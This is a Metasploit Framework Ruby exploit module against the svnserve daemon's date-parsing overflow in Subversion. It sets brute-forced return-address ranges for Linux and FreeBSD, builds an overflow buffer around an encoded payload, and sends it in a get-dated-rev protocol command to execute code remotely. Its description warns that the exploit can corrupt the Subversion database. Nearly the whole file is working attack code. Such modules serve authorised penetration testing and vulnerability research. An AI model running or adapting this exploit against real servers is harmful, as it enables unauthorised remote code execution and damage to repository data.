134 lines
3.4 KiB
Ruby
134 lines
3.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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require 'msf/core/exploit/http'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Brute
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Subversion Date Svnserve',
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'Description' => %q{
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This is an exploit for the Subversion date parsing overflow. This
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exploit is for the svnserve daemon (svn:// protocol) and will not work
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for Subversion over webdav (http[s]://). This exploit should never
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crash the daemon, and should be safe to do multi-hits.
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**WARNING** This exploit seems to (not very often, I've only seen
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it during testing) corrupt the subversion database, so be careful!
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},
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'Author' => 'spoonm',
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'Version' => '$Revision$',
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'References' =>
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[
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['OSVDB', '6301'],
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['BID', '10386'],
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['URL', 'http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html'],
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['MIL', '68'],
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],
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20",
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'MinNops' => 16,
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},
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'SaveRegisters' => [ 'esp' ],
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'Arch' => 'x86',
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'Platform' => [ 'linux', 'bsd' ],
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'Targets' =>
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[
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[
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'Linux Bruteforce',
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{
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'Platform' => 'linux',
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbffffe13 },
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'Stop' => { 'Ret' => 0xbfff0000 },
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'Step' => 0
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}
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},
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],
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[
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'FreeBSD Bruteforce',
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{
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'Platform' => 'bsd',
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'Bruteforce' =>
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{
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'Start' => { 'Ret' => 0xbfbffe13 },
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'Stop' => { 'Ret' => 0xbfbf0000 },
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'Step' => 0
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}
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},
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],
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],
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'DisclosureDate' => 'May 19 2004'))
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register_options(
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[
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Opt::RPORT(3690),
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OptString.new('URL', [ true, "SVN URL (ie svn://host/repos)", "svn://host/svn/repos" ])
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], self.class)
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register_advanced_options(
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[
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# 62 on spoonm's, 88 on HD's
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OptInt.new('RetLength', [ false, "Length of rets after payload", 100 ]),
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OptBool.new('IgnoreErrors', [ false, "Ignore errors", false ])
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], self.class)
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end
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def check
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end
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def brute_exploit(addresses)
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connect
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print_status("Trying #{"%.8x" % addresses['Ret']}...")
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buffer = ([addresses['Ret']].pack('V') * (datastore['RetLength'] / 4).to_i) + payload.encoded
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[
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"( 2 ( edit-pipeline ) " + lengther(datastore['URL']) + " ) ",
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"( ANONYMOUS ( 0; ) )",
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"( get-dated-rev ( " + lengther(buffer + " 3 Oct 2000 01:01:01.001 (day 277, dst 1, gmt_off)") + " ) ) "
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].each_with_index { |buf, index|
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trash = sock.get_once
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print_line("Received: #{trash}") if debugging?
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if (sock.put(buf) || 0) == 0 and index < 3
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print_error("Error transmitting buffer.")
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raise ExploitError, "Failed to transmit data" if !datastore['IgnoreErrors']
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end
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if index == 3 and trash.length > 0
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print_error("Received data when we shouldn't have")
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raise ExploitError, "Received data when it wasn't expected" if !datastore['IgnoreErrors']
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end
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}
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handler
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disconnect
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end
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def lengther(buf)
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"#{buf.length}:" + buf
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end
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end |